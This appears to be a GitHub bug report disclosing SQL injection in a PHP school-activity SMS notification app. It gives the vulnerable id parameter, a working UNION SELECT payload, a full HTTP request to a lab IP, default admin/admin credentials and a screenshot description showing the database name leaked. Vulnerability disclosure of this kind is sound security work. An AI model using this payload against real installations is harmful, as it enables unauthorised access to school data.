

 main ▾

...

[bug\\_report](#) / [vendors](#) / [janobe](#) / [school-activity-updates-sms-notification](#) / [SQLi-1.md](#)



moyess Create SQLi-1.md

 History

 1 contributor

31 lines (21 sloc) | 1.16 KB

...

# School Activity Updates with SMS Notification v1.0 by janobe has SQL injection

BUG\_Author: Moye

Login account: admin/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/13799/school-activity-updates-sms-notification-phppdo.html>

The program is built using the xampp-php5.6 version

Vulnerability File: /activity/admin/modules/user/index.php?view=edit&id=

Vulnerability location: /activity/admin/modules/user/index.php?view=edit&id=, id

dbname =db\_wvsu

[+] Payload: /activity/admin/modules/user/index.php?

view=edit&id=-4%27%20union%20select%201,database(),3,4,5--+ // Leak place ---> id

GET /activity/admin/modules/user/index.php?view=edit&id=-4%27%20union%20select%201,d  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5  
Connection: close

The screenshot shows a web browser window with a URL bar containing the following URL: `http://192.168.1.19/activity/admin/modules/user/index.php?view=edit&id=-4' union select 1,database(),3,4,5--+|`. The browser's address bar shows the URL, and the page content displays the "Update User" form. The form fields are as follows:

- Name: db\_wvsu
- Username: 3
- Password: (empty)
- Retype Password: (empty)

The "SAVE" button is visible at the bottom of the form. The left sidebar of the application shows the "Users" menu item selected. The browser's developer tools are open, showing the "Network" tab with the request details.